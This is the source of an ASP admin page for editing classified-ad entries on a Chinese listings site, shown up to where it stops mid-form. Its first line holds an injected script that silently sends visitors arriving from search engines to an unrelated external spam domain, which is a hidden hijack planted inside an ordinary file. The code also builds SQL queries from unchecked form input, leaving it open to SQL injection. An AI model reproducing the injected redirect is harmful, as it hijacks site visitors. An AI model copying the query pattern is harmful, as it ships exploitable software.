d:\wwwroot\wuchunhua\admin\editad.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if
005:
006: dim theid,dtitle,dcolor,dbgcolor1,dcu,dlei,dispic,dpic,dtext,dstop,dtop,dhotpoto,dlift,dmoney,sql,rs
007: theid=request("id")
008: if isnumeric(theid)=false then
009: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
010: response.end
011: end if
012:
013: dtitle=HtmlEncode(trim(request.form("dtitle")))
014: dcolor=HtmlEncode(trim(request.form("dcolor")))
015: dbgcolor1=HtmlEncode(trim(request.form("dbgcolor1")))
016: dcu=HtmlEncode(trim(request.form("dcu")))
017: dispic=HtmlEncode(trim(request.form("dispic")))
018: dpic=HtmlEncode(trim(request.form("dpic")))
019: dtext=HtmlEncode2(request.form("dtext"))
020: dusername=HtmlEncode(trim(request.form("dusername")))
021: dcardid=HtmlEncode(trim(request.form("dcardid")))
022: dtel=HtmlEncode(trim(request.form("dtel")))
023: dstop=HtmlEncode(trim(request.form("dstop")))
024: dtop=HtmlEncode(trim(request.form("dtop")))
025: shouye=HtmlEncode(trim(request.form("shouye")))
026: hotpoto=HtmlEncode(trim(request.form("hotpoto")))
027: lift=HtmlEncode(trim(request.form("lift")))
028: dmoney=HtmlEncode(trim(request.form("dmoney")))
029: city_oneid=HtmlEncode(trim(request.form("city_one")))
030: city_twoid=HtmlEncode(trim(request.form("city_two")))
031: city_threeid=HtmlEncode(trim(request.form("city_three")))
032: type_oneid=HtmlEncode(trim(request.form("type_one")))
033: type_twoid=HtmlEncode(trim(request.form("type_two")))
034: type_threeid=HtmlEncode(trim(request.form("type_three")))
035:
036: if dmoney<>"" then
037:   if isnumeric(dmoney)=false then
038:   response.write "<script>alert('信息费用请填写数字,立即返回!');history.back();</script>"
039:   response.end
040:   end if
041: end if
042:
043: if city_oneid<>"" then
044: set rs=server.createobject("adodb.recordset")
045: rs.open "select city from china_city where twoid=0 and threeid=0 and id="&city_oneid,conn,1,1
046: city_one=rs("city")
047: rs.close
048: if city_twoid<>"" then
049: rs.open "select city from china_city where id="&city_oneid&" and threeid=0 and twoid="&city_twoid,conn,1,1
050: city_two=rs("city")
051: rs.close
052: end if
053: if city_twoid<>"" and city_threeid<>"" then
054: rs.open "select city from china_city where id="&city_oneid&" and twoid="&city_twoid&" and threeid="&city_threeid,conn,1,1
055: city_three=rs("city")
056: rs.close
057: end if
058: set rs=nothing
059: end if
060:
061: if type_oneid<>"" then
062: set rs=server.createobject("adodb.recordset")
063: rs.open "select name from china_type where twoid=0 and threeid=0 and id="&type_oneid,conn,1,1
064: type_one=rs("name")
065: rs.close
066: if type_twoid<>"" then
067: rs.open "select name from china_type where id="&type_oneid&" and threeid=0 and twoid="&type_twoid,conn,1,1
068: type_two=rs("name")
069: rs.close
070: end if
071: if type_twoid<>"" and type_threeid<>"" then
072: rs.open "select name from china_type where id="&type_oneid&" and twoid="&type_twoid&" and threeid="&type_threeid,conn,1,1
073: type_three=rs("name")
074: rs.close
075: end if
076: set rs=nothing
077: end  if
078: sql="select * from china_data where adid="&theid
079: set rs=server.createobject("adodb.recordset")
080: rs.open sql,conn,1,3
081:
082:
083: pic=rs("pic")
084: text=rs("text")
085: username=rs("username")
086: cardid=rs("cardid")
087: tel=rs("tel")
088: time1=rs("time")
089: stop1=rs("stop")
090: top1=rs("top")
091: shouye1=rs("shouye")
092: lift1=rs("lift")
093: hot1=rs("hot")
094: money=rs("money")
095: mark1=rs("mark")
096: hotpoto1=rs("hotpoto")
097:
098:
099: if dtitle<>"" then
100: rs("title")=dtitle
101: rs("color")=dcolor
102: rs("bgcolor1")=dbgcolor1
103: rs("cu")=dcu
104: rs("city_oneid")=city_oneid
105: rs("city_one")=city_one
106: rs("city_two")=city_two
107: if city_twoid="" then city_twoid=0
108: rs("city_twoid")=city_twoid
109: if city_threeid="" then city_threeid=0
110: rs("city_three")=city_three
111: rs("city_threeid")=city_threeid
112: rs("type_oneid")=type_oneid
113: rs("type_one")=type_one
114: if type_twoid="" then type_twoid=0
115: rs("type_twoid")=type_twoid
116: rs("type_two")=type_two
117: if type_threeid="" then type_threeid=0
118: rs("type_threeid")=type_threeid
119: rs("type_three")=type_three
120: rs("ispic")=dispic
121: if dpic="http://" then
122: dpic=""
123: end if
124: if rs("pic")<>dpic then
125: if rs("pic")<>"" and lcase(left(rs("pic"),7))<>"http://" then
126: '''''''''''删除图片开始''''''''''''''''
127: Set fdel = CreateObject("Scripting.FileSystemObject")  
128:               tempImageDir = Server.MapPath("../adpic/"&rs("pic")&"")
129:                 fdel.DeleteFile(tempImageDir)
130: set fdel=nothing
131: '''''''''''删除图片结束'''''''''''''''
132: end if
133: rs("pic")=dpic
134: end if
135: rs("text")=dtext
136: rs("username")=dusername
137: rs("cardid")=dcardid
138: rs("tel")=dtel
139: rs("stop")=dstop
140: rs("top")=dtop
141: if dmoney = "" then dmoney = 0
142: rs("money")=dmoney
143: rs("time")=request.form("time")
144: rs("mark")=request.form("mark")
145: rs("shouye")=shouye
146: rs("hotpoto")=hotpoto
147: rs("lift")=lift
148: rs("hot")=request.form("hot")
149: rs.update
150: rs.close  
151: set rs=nothing                                                                                    
152: conn.close  
153: set conn=nothing
154: ''''''''''''''''''生成html开始''''''''''''''''''''''''''
155: ServerURL=CStr(Request.ServerVariables("SCRIPT_NAME"))
156: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
157: ServerURL=left(ServerURL, n-1)'显示从左边数第"n-1"个字符前面的字符,
158: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
159: ServerURL=left(ServerURL, n)'显示从左边数第"n"个字符前面的字符,
160: ServerURL="http://"&Request.ServerVariables("SERVER_NAME")&""&ServerURL&"show.asp?id="&theid&""
161:
162: set http=server.createobject("MSXML2.XMLHTTP")
163: Http.open "get",ServerURL,false
164: Http.send()
165: AA=Http.responseText
166: set http=nothing
167: set objfso = Server.CreateObject("Scripting.FileSystemObject")
168: set htmout = objfso.CreateTextFile(server.mappath("../html/"&theid&".htm"))
169: AA=replace(AA,"adpic/","../adpic/")
170: AA=replace(AA,"link.asp","../link.asp")
171: AA=replace(AA,"link_img.asp","../link_img.asp")
172: AA=replace(AA,"index.asp","../index.asp")
173: AA=replace(AA,"114/../index.asp","../114/index.asp")
174: AA=replace(AA,"ad.asp","../ad.asp")
175: AA=replace(AA,"TV.asp","../tv.asp")
176: AA=replace(AA,"user.asp","../user.asp")
177: AA=replace(AA,"gbook.asp","../gbook.asp")
178: AA=replace(AA,"city.asp","../city.asp")
179: AA=replace(AA,"post.asp","../post.asp")
180: AA=replace(AA,"city_more.asp","../city_more.asp")
181: AA=replace(AA,"reg.asp","../reg.asp")
182: AA=replace(AA,"login.asp","../login.asp")
183: AA=replace(AA,"search.asp","../search.asp")
184: AA=replace(AA,"114/join.asp","../114/join.asp")
185: AA=replace(AA,"fabu.asp","../fabu.asp")
186: AA=replace(AA,"type.asp","../type.asp")
187: AA=replace(AA,"show.asp","../show.asp")
188: AA=replace(AA,"114/qy../login.asp","../114/qylogin.asp")
189: AA=replace(AA,"rq_message.asp","../rq_message.asp")
190: AA=replace(AA,"top.asp","../top.asp")
191: AA=replace(AA,"money.asp","../money.asp")
192: AA=replace(AA,"pic.asp","../pic.asp")
193: AA=replace(AA,"bbs/","../bbs/")
194: AA=replace(AA,"html/","")
195: AA=replace(AA,"ip.asp","../ip.asp")
196: AA=replace(AA,"phone.asp","../phone.asp")
197: AA=replace(AA,"about.asp","../about.asp")
198: AA=replace(AA,"send_zn_message.asp","../send_zn_message.asp")
199: htmout.write replace(AA,"images/","../images/")
200: htmout.close  
201: set htmout=nothing  
202: set objfso=nothing  
203: ''''''''''''''''''生成html结束''''''''''''''''''''''''''
204: response.redirect "ok.asp"
205: response.end
206: end if%
>
207:
208: <html>
209: <head>
210: <link rel="stylesheet" type="text/css" href="style.css">
211: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
212: <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
213: <meta name="ProgId" content="FrontPage.Editor.Document">
214: <title>修改信息</title>
215: <SCRIPT LANGUAGE="JavaScript">
216: <!--//
217: function checkadd()
218: {  
219:
220:                    //检查年月日是否是合法日期
221:
222:                    function isdate(intYear,intMonth,intDay){
223:
224:                       if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;    
225:
226:                       if(intMonth>12||intMonth<1) return false;  
227:
228:                       if ( intDay<1||intDay>31)return false;  
229:
230:                       if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30)) return false;  
231:
232:                       if(intMonth==2){  
233:
234:                          if(intDay>29) return false;    
235:
236:                          if((((intYear%100==0)&&(intYear%400!=0))||(intYear%4!=0))&&(intDay>28))return false;  
237:
238:                         }  
239:
240:                       return true;  
241:
242:                    }  
243:
244:
245:
246:                    //检查身份证是否是正确格式
247:
248:                    function checkCard(dcardid)
249:
250:                    {
251:
252:                        var pattern;
253:
254:                             if (dcardid.length==15)
255:
256:                             {
257:
258:                                  pattern= /^\d{15}$/;//正则表达式,15位且全是数字
259:
260:                                  if (pattern.exec(dcardid)==null)
261:
262:                                  {
263:
264:                                     alert("15位身份证号码必须为数字!")
265:
266:
267:                                       return false;
268:
269:                                  }
270:
271:                                  if (!isdate("19"+dcardid.substring(6,8),dcardid.substring(8,10),dcardid.substring(10,12)))
272:
273:                                  {
274:
275:                               alert("身份证号码中所含日期不正确")
276:
277:                                  return false;}
278:
279:                                 
280:
281:                             }
282:
283:                             else     if (dcardid.length==18)
284:
285:                             {
286:
287:                                 pattern= /^\d{17}(\d|x|X)$/;//正则表达式,18位且前17位全是数字,最后一位只能数字,x,X
288:
289:                                  if (pattern.exec(dcardid)==null)
290:
291:                                  {
292:
293:                                             alert("18位身份证号码必须为数字!")
294:
295:                                           return false;
296:
297:                                  }
298:
299:                                  if (!isdate(dcardid.substring(6,10),dcardid.substring(10,12),dcardid.substring(12,14)))
300:
301:                                  {
302:
303:                                         alert("身份证号码中所含日期不正确")  
304:
305:                                  return false;
306:
307:                                  }
308:
309:                                  var strJiaoYan  =[  "1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"];
310:
311:                                  var intQuan =[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1];
312:
313:                                  var intTemp=0;
314:
315:                                  for(i = 0; i < dcardid.length - 1; i++)
316:
317:                                  intTemp +=  dcardid.substring(i, i + 1)  * intQuan[i];  
318:
319:                                  intTemp %= 11;
320:
321:                                  if(dcardid.substring(dcardid.length - 1,dcardid.length).toUpperCase()!=strJiaoYan[intTemp])
322:
323:                                  {
324:
325:                                         alert("身份证末位验证码失败!")
326:
327:                                  return false;
328:
329:                                  }
330:
331:                             }
332:
333:                             else
334:
335:                             {
336:
337:                             alert("身份证号长度必须为15或18!")
338:
339:                             return false;
340:
341:                             }
342:
343:                     return true;  
344:
345:                    }
346:
347:     if (document.postart.dtitle.value.length<1)
348:    {
349:         alert("请填写信息标题!");
350:         document.postart.dtitle.focus();
351:         return false;
352:     }
353:    if (document.postart.city_one.value=="")
354:    {
355:         alert("请您选择城市!");
356:         document.postart.city_one.focus();
357:         return false;
358:     }
359:     if (document.postart.type_one.value=="")
360:    {
361:         alert("请选择信息类别!");
362:         document.postart.type_one.focus();
363:         return false;
364:     }
365:     if (document.postart.dtext.value.length>20000)
366:    {
367:         alert("请把信息内容的字数控制在20000以内!");
368:         document.postart.dtext.focus();
369:         return false;
370:     }
371:    if (document.postart.dusername.value.length == 0) {
372:       alert("请您填写联系人姓名!");
373:       document.postart.dusername.focus();
374:       return false;
375:    }
376:    var str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./'[]{}`1234567890-=\~!@#$%^&*()_+|?><:";
377:    var errorChar
378:    errorChar = isCharsInBag(postart.dusername.value,str)
379:    if (errorChar != "" )
380:    {
381:       alert('联系人姓名必须是中文!');
382:       postart.dusername.focus();
383:       return false;
384:    }
385: function isCharsInBag (s, bag)
386: {
387: var i,c;
388: for (i = 0; i < s.length; i++)
389: {
390: c = s.charAt(i);//字符串s中的字符
391: if (bag.indexOf(c) > -1)
392: return c;
393: }
394: return "";
395: }
396:   
397:        if(document.postart.dusername.value.length<2||document.postart.dusername.value.length>20){
398:       alert("联系人姓名不能少于2字多于4字!");
399:       document.postart.dusername.focus();
400:       return false;
401:    }  
402:    <%if webcardid="1" then%>
403:    if (document.postart.dcardid.value.length == 0) {
404:       alert("请填写您的身份证号!");
405:       document.postart.dcardid.focus();
406:       return false;
407:    }
408:       if(checkCard(document.postart.dcardid.value)==false)
409:       {
410:          document.postart.dcardid.focus();
411:          return false;
412:       }
413:       <%end if%>
414:   
415:     if (document.postart.dtel.value.length<7)
416:    {
417:         alert("请填写您的联系电话,不能小于七位数!");
418:         document.postart.dtel.focus();
419:         return false;
420:     }
421:     if (document.postart.dstop.value=="选择有效期")
422:    {
423:         alert("请选择有效期!");
424:         document.postart.dstop.focus();
425:         return false;
426:     }
427: }
428: //-->

429: </SCRIPT>
430: <SCRIPT LANGUAGE="JavaScript">      
431: <!-- Begin
432: maxLen = 20000;
433: function checkMaxInput(form) {
434: if (form.dtext.value.length > maxLen)
435: form.remLen.value = 0;
436: else form.remLen.value = maxLen - form.dtext.value.length;
437: }
438: //  End -->

439: </script>
440: <script language="javascript" type="text/javascript">
441: <!--
442: function changeColor(o) {
443:     document.getElementById("colorBox").style.color = o.value;
444: }
445: //-->

446: </script>
447: <script language="javascript" type="text/javascript">
448: <!--
449: function changeColor1(o) {
450:     document.getElementById("colorBox1").style.background = o.value;
451: }
452: //-->

453: </script>
454: </head>
455:
456: <body background="images/background.gif">
457: <div align="center">
458: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
459:   <tr>
460:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">编 辑 信 息 内 容</font></td>
461:   </tr>
462:   <tr>
463:     <td align="center" bgcolor="#FFFFFF"> <br>
464:       <form action="" method="post" name="postart" onsubmit="return checkadd()">
465:           <table width="98%" border="0" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
466:             <tr bgcolor="#FFFFFF">
467:               <td width="27%" height="26" align="right">信息标题:</td>
468:               <td height="26" colspan="2">
469:                 <input type="text" name="dtitle" size="40" maxlength="40" value="<%=rs("title")%>">
470:                 <font color="#FF0000">*<%=rs("ip")%></font></td>
471:             </tr>
472:             <tr bgcolor="#FFFFFF">
473:               <td height="26" align="right">是否加粗:</td>
474:               <td height="26" colspan="2">
475:                 <input type="radio" value="no" <%if rs("cu")="no" then%>checked<%end if%> name="dcu">
476:                 否&nbsp;
477:                 <input type="radio" value="yes" name="dcu" <%if rs("cu")="yes" then%>checked<%end if%>>
478:                 是</td>
479:             </tr>
480:             <tr bgcolor="#FFFFFF">
481:               <td align="right">标题颜色:</td>
482:               <td width="160" height="26">
483:                 <input name="dcolor" type="text" id="dcolor" onchange="changeColor(this);" value="<%=rs("color")%>" size="8" />
484:                 <input type="button" name="Submit" value="选择颜色" onclick="window.open('../colorpicker.html', 'colorPicker', 'width=200, height=160');" />
485:               </td>
486:               <td rowspan="2">
487:                 <div align="center">
488:                   <table width="182" height="24" border="0" cellpadding="0" cellspacing="1" bgcolor="#cae2f8">
489:                     <tr>
490:                       <td align="center" <%if rs("bgcolor1")<>"" then%>bgcolor="<%=rs("bgcolor1")%>"<%else%>bgcolor="#EFF7FE"<%end if%>>
491:                         <table width="166" border="0" cellspacing="0" cellpadding="0" height="5">
492:                           <tr>
493:                             <td></td>
494:                           </tr>
495:                         </table>
496:                         <font style="font-size:14px" color="<%if rs("color")<>"" then%><%=rs("color")%><%else%>#000000<%end if%>"><b>原来的标题颜色</b></font></td>
497:                     </tr>
498:                   </table>
499:                   <table width="166" border="0" cellspacing="0" cellpadding="0" height="2">
500:                     <tr>
501:                       <td></td>
502:                     </tr>
503:                   </table>
504:                   <table width="182" height="24" border="0" cellpadding="0" cellspacing="1" bgcolor="#CAE2F8">
505:                     <tr>
506:                       <td align="center" <%if rs("bgcolor1")<>"" then%>bgcolor="<%=rs("bgcolor1")%>"<%else%>bgcolor="#EFF7FE"<%end if%>>
507:                         <div id="colorBox1" style="width: 180px;height: 24px">
508:                           <table width="166" border="0" cellspacing="0" cellpadding="0" height="5">
509:                             <tr>
510:                               <td></td>
511:                             </tr>
512:                           </table>
513:                           <font style="font-size:14px" color="<%if rs("color")<>"" then%><%=rs("color")%><%else%>#000000<%end if%>">
514:                           <div id="colorBox"><b>修改后标题颜色</b></div>
515:                           </font> </div>
516:                       </td>
517:                     </tr>
518:                   </table>
519:                 </div>
520:               </td>
521:             </tr>
522:             <tr bgcolor="#FFFFFF">
523:               <td align="right">标题背景:</td>
524:               <td height="26">
525:                 <input name="dbgcolor1" type="text" id="dbgcolor1" onchange="changeColor1(this);" value="<%=rs("bgcolor1")%>" size="8" />
526:                 <input type="button" name="Submit" value="选择颜色" onclick="window.open('../colorpicker1.html', 'colorPicker', 'width=200, height=160');" />
527:               </td>
528:             </tr>
529:             <tr bgcolor="#FFFFFF">
530:            <td height="26" align="right">选择城市:</td>
531:               <td height="26" colspan="2">
532:                 <%
533: set rsi=conn.execute("select * from china_city where id>0 and twoid>0 and threeid=0")
534: %
>
535:       <script language = "JavaScript">
536: var onecount;
537: onecount=0;
538: subcat = new Array();
539:         <%
540:       dim count:count = 0
541:         do while not rsi.eof
542:         %
>
543: subcat[<%=count%>] = new Array("<%=rsi("city")%>","<%=rsi("id")%>","<%=rsi("twoid")%>");
544:         <%
545:         count = count + 1
546:         rsi.movenext
547:         loop
548:         rsi.close
549:       set rsi=nothing
550:         %
>
551: onecount=<%=count%>;
552: </script>
553: <%
554: set rsi=conn.execute("select * from china_city where id>0 and twoid>0 and threeid>0")
555: %
>
556: <script language = "JavaScript">
557: var onecount4;
558: onecount4=0;
559: subcat4 = new Array();
560:         <%
561:       dim count4:count4 = 0
562:         do while not rsi.eof
563:         %
>
564: subcat4[<%=count4%>] = new Array("<%=rsi("city")%>","<%=rsi("id")%>","<%=rsi("twoid")%>","<%=rsi("threeid")%>");
565:         <%
566:         count4 = count4 + 1
567:         rsi.movenext
568:         loop
569:         rsi.close
570:       set rsi = nothing
571:         %
>
572: onecount4=<%=count4%>;
573:
574: function changelocation(locationid)
575:     {
576:     document.postart.city_two.length = 0;
577:    document.postart.city_two.options[0] = new Option('选择城市','');
578:    document.postart.city_three.length = 0;
579:    document.postart.city_three.options[0] = new Option('选择城市','');
580:     var locationid=locationid;
581:     var i;
582:     for (i=0;i < onecount; i++)
583:         {
584:             if (subcat[i][1] == locationid)
585:             {
586:                 document.postart.city_two.options[document.postart.city_two.length] = new Option(subcat[i][0], subcat[i][2]);
587:             }        
588:         }
589:         
590:     }    
591:   
592:    function changelocation4(locationid,locationid1)
593:     {
594:     document.postart.city_three.length = 0;
595:     document.postart.city_three.options[0] = new Option('选择城市','');
596:     var locationid=locationid;
597:     var locationid1=locationid1;
598:     var i;
599:     for (i=0;i < onecount4; i++)
600:         {
601:             if (subcat4[i][2] == locationid)
602:             {
603:          if (subcat4[i][1] == locationid1)
604:          {
605:                 document.postart.city_three.options[document.postart.city_three.length] = new Option(subcat4[i][0], subcat4[i][3]);
606:             }        
607:         }
608:        }
609:     }            
610:               </script>
611:       <select name="city_one" size="1" id="select2" onChange="changelocation(document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
612:         <option value="" selected>选择城市</option>
613:   <%  set rsi=conn.execute("select * from china_city where id>0 and twoid=0 and threeid=0")
614: if rsi.eof or rsi.bof then
615: response.write "<option value=''>没有分类</option>"
616: else
617: do until rsi.eof%
>
618:   <option value="<%=rsi("id")%>" <%if rsi("id")=rs("city_oneid") then%>selected<%end if%>><%=rsi("city")%></option>
619: <%rsi.movenext
620:     loop
621:    %
>
622:    <%end if
623: rsi.close
624: set rsi = nothing
625: %
>
626:    </select>
627:       <select name="city_two" id="city_two" onChange="changelocation4(document.postart.city_two.options[document.postart.city_two.selectedIndex].value,document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
628:     <option value="" selected>选择城市</option>
629:    <%
630: set rsi=conn.execute("select * from china_city where id="&rs("city_oneid")&" and twoid>0 and threeid=0")
631: if rsi.eof and rsi.bof then
632: response.write "<option value=''>没有分类</option>"
633: else
634: do until rsi.eof%
>
635:   <option value="<%=rsi("twoid")%>" <%if rsi("twoid")=rs("city_twoid") then%>selected<%end if%>><%=rsi("city")%></option>
636: <%rsi.movenext
637:     loop
638:    %
>
639:    <%end if
640: rsi.close
641: set rsi = nothing
642:
643: %
>
644:   
645:    </select>
646:         <select name="city_three" id="city_three">
647:        <option value="" selected>选择城市</option>
648:            <%set rsi=conn.execute("select * from china_city where id="&rs("city_oneid")&" and twoid="&rs("city_twoid")&" and threeid<>0")
649: if rsi.eof and rsi.bof then
650: response.write "<option value=''>没有分类</option>"
651: else
652: do until rsi.eof%
>
653: <option value="<%=rsi("threeid")%>" <%if rsi("threeid")=rs("city_threeid") then%>selected<%end if%>><%=rsi("city")%></option>
654:    <% rsi.movenext
655:     loop
656:    %
>
657: <%end if
658: rsi.close
659: set rsi = nothing
660:
661: %
>
662:     </select>
663:                 <font color="#FF0000">*</font>
664:             <tr bgcolor="#FFFFFF">
665:               <td height="26" align="right">信息类别:</td>
666:               <td height="26" colspan="2">
667:                 <%
668: set rsi=conn.execute("select * from china_type where id>0 and twoid>0 and threeid=0")
669: %
>
670:       <script language = "JavaScript">
671: var onecount2;
672: onecount2=0;
673: subcat2 = new Array();
674:         <%
675:       dim count2:count2 = 0
676:         do while not rsi.eof
677:         %
>
678: subcat2[<%=count2%>] = new Array("<%=rsi("name")%>","<%=rsi("id")%>","<%=rsi("twoid")%>");
679:         <%
680:         count2 = count2 + 1
681:         rsi.movenext
682:         loop
683:         rsi.close
684:       set rsi = nothing
685:         %
>
686: onecount2=<%=count2%>;
687: </script>
688:
689: <%
690: set rsi=conn.execute("select * from china_type where id>0 and twoid>0 and threeid>0")
691: %
>
692: <script language = "JavaScript">
693: var onecount3;
694: onecount3=0;
695: subcat3 = new Array();
696:         <%
697:       dim count3:count3 = 0
698:         do while not rsi.eof
699:         %
>
700: subcat3[<%=count3%>] = new Array("<%=rsi("name")%>","<%=rsi("id")%>","<%=rsi("twoid")%>","<%=rsi("threeid")%>");
701:         <%
702:         count3 = count3 + 1
703:         rsi.movenext
704:         loop
705:         rsi.close
706:       set rsi = nothing
707:         %
>
708: onecount3=<%=count3%>;
709:
710:
711:
712: function changelocation2(locationid)
713:     {
714:     document.postart.type_two.length = 0;
715:     document.postart.type_two.options[0] = new Option('选择信息','');
716:    document.postart.type_three.length = 0;
717:     document.postart.type_three.options[0] = new Option('选择信息','');
718:     var locationid=locationid;
719:    var i;
720:     for (i=0;i < onecount2; i++)
721:         {
722:             if (subcat2[i][1] == locationid)
723:             {
724:                 document.postart.type_two.options[document.postart.type_two.length] = new Option(subcat2[i][0], subcat2[i][2]);
725:             }        
726:         }
727:       
728:     }    
729:      function changelocation3(locationid,locationid1)
730:     {
731:     document.postart.type_three.length = 0;
732:     document.postart.type_three.options[0] = new Option('选择信息','');
733:     var locationid=locationid;
734:     var locationid1=locationid1;
735:     var i;
736:     for (i=0;i < onecount3; i++)
737:         {
738:             if (subcat3[i][2] == locationid)
739:             {
740:          if (subcat3[i][1] == locationid1)
741:          {
742:                 document.postart.type_three.options[document.postart.type_three.length] = new Option(subcat3[i][0], subcat3[i][3]);
743:             }        
744:         }
745:        }
746:     }            
747:     </script>
748:       <select name="type_one" size="1" id="select3" onChange="changelocation2(document.postart.type_one.options[document.postart.type_one.selectedIndex].value)">
749:            <option value="" selected>选择信息</option>
750:   <%  set rsi=conn.execute("select * from china_type where id>0 and twoid=0 and threeid=0")
751: if rsi.eof and rsi.bof then
752: response.write "<option value=''>没有分类</option>"
753: else
754: do until rsi.eof%
>
755:   <option value="<%=rsi("id")%>" <%if rsi("id")=rs("type_oneid") then%>selected<%end if%>><%=rsi("name")%></option>
756: <%rsi.movenext
757:     loop
758:    %
>
759:    <%end if
760: rsi.close
761: set rsi = nothing
762: %
>
763:    </select>
764:       <select name="type_two" id="select4" onChange="changelocation3(document.postart.type_two.options[document.postart.type_two.selectedIndex].value,document.postart.type_one.options[document.postart.type_one.selectedIndex].value)">
765:         <option value="" selected>选择信息</option>
766:    <%
767: set rsi=conn.execute("select * from china_type where id="&rs("type_oneid")&" and twoid>0 and threeid=0")
768: if rsi.eof and rsi.bof then
769: response.write "<option value=''>没有分类</option>"
770: else
771: do until rsi.eof%
>
772:   <option value="<%=rsi("twoid")%>" <%if rsi("twoid")=rs("type_twoid") then%>selected<%end if%>><%=rsi("name")%></option>
773: <%rsi.movenext
774:     loop
775:    %
>
776:    <%end if
777: rsi.close
778: set rsi = nothing
779:
780: %
>
781:   
782:     </select>
783:    <select name="type_three" id="select5">
784:    <option value="" selected>选择信息</option>
785:            <%set rsi=conn.execute("select * from china_type where id="&rs("type_oneid")&" and twoid="&rs("type_twoid")&" and threeid<>0")
786: if rsi.eof and rsi.bof then
787: response.write "<option value=''>没有分类</option>"
788: else
789: do until rsi.eof%
>
790: <option value="<%=rsi("threeid")%>" <%if rsi("threeid")=rs("type_threeid") then%>selected<%end if%>><%=rsi("name")%></option>
791:    <% rsi.movenext
792:     loop
793:    %
>
794: <%end if
795: rsi.close
796: set rsi = nothing
797:
798: %
>
799:     </select>
800:               </td>
801:             </tr>
802:             <tr bgcolor="#FFFFFF">
803:               <td height="26" align="right">信息形式:</td>
804:               <td height="26" colspan="2">
805:                 <input type="radio" value="no" name="dispic" <%If rs("ispic")="no" Then%>checked<%End If%>>
806:                 文字信息&nbsp;
807:                 <input type="radio" value="yes" name="dispic" <%If rs("ispic")="yes" Then%>checked<%End If%>>
808:                 图片信息 <font color="#FF0000">(注:设置为</font><font color="#008080">图片信息</font><font color="#FF0000">将会在</font><font color="#008080">全部分类</font><font color="#FF0000">栏目以图片方式显示)</font></td>
809:             </tr>
810:             <tr bgcolor="#FFFFFF">
811:               <td height="26" align="right">图片路径:</td>
812:               <td height="26" colspan="2">
813:                 <input type="text" name="dpic" size="30" value="<%=pic%>">
814: <iframe style="top:2px" ID="UploadFiles" src="../upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></iframe><br>
815:                 <%if pic<>"" then%>
816:                 <a href="<%if lcase(left(pic,7))<>"http://" then%>../adpic/<%end if%><%=pic%>" target="_blank"><img src="<%if lcase(left(pic,7))<>"http://" then%>../adpic/<%end if%><%=pic%>" border="0" width="180" height="123"></a>
817:                 <%else%>
818:                 暂无图片
819:                 <%end if%>
820:               </td>
821:             </tr>
822:             <tr bgcolor="#FFFFFF">
823:               <td height="26" align="right" valign="top">信息内容:</td>
824:               <td colspan="2">
825:                 <textarea rows="14" name="dtext" cols="60" onKeyDown="checkMaxInput(this.form)" onKeyUp="checkMaxInput(this.form)"><%if text<>"" then%><%=replace(text,"<br>",vbcrlf)%><%end if%>
826:       </textarea>
827:                 <font color="#FF0000">*&nbsp;</font> <font color="#FF0000"><br>
828:                 目前还可写
829:                 <input readonly type=text name=remLen size=4 maxlength=4 style="border: 1 solid #888888">
830:                 个字!</font> </td>
831:             </tr>
832:             <tr bgcolor="#FFFFFF">
833:               <td height="26" align="right">联系人:</td>
834:               <td height="26" colspan="2">
835:                 <input name="dusername" type="text" id="dusername" value="<%=username%>" size="20" maxlength="20">
836:                 <font color="#FF0000">* </font></td>
837:             </tr>
838:             <tr bgcolor="#FFFFFF" <%if webcardid="0" then%>style="display:none"<%end if%>>
839:               <td height="26" align="right">身份证号:</td>
840:               <td height="26" colspan="2">
841:                 <input name="dcardid" type="text" id="dcardid" value="<%=cardid%>" size="20" maxlength="18">
842:                 <font color="#FF0000">* </font></td>
843:             </tr>
844:             <tr bgcolor="#FFFFFF">
845:               <td height="26" align="right">联系电话:</td>
846:               <td height="26" colspan="2">
847:                 <input name="dtel" type="text" id="dtel" value="<%=tel%>" size="20" maxlength="20">
848:                 <font color="#FF0000">* </font></td>
849:             </tr>
850:             <tr bgcolor="#FFFFFF">
851:               <td height="26" align="right">生效日期:</td>
852:               <td height="26" colspan="2">
853:                 <input name="time" size="15" maxlength="50" value="<%=time1%>">
854:                 <font color="#FF0000">(格式如:2004-10-1)</font></td>
855:             </tr>
856:             <tr bgcolor="#FFFFFF">
857:               <td height="26" align="right">有效期至:</td>
858:               <td height="26" colspan="2">
859:                 <input name="dstop" size="15" maxlength="50" value="<%=stop1%>">
860:                 <font color="#FF0000">(格式如:2004-10-1)</font></td>
861:             </tr>
862:             <tr bgcolor="#FFFFFF">
863:               <td height="26" align="right">是否固顶:</td>
864:               <td height="26" colspan="2">
865:                 <input type="radio" value="0" name="dtop" <%if top1="0" then%>checked<%end if%>>
866:                 否&nbsp;
867:                 <input type="radio" value="1" name="dtop" <%if top1="1" then%>checked<%end if%>>
868:                 是 <font color="#ff0000">(注:设置为此属性将在排列在同栏目的首位显示)</font></td>
869:             </tr>
870:             <tr bgcolor="#FFFFFF">
871:               <td height="26" align="right">是否首页滚动显示:</td>
872:               <td height="26" colspan="2">
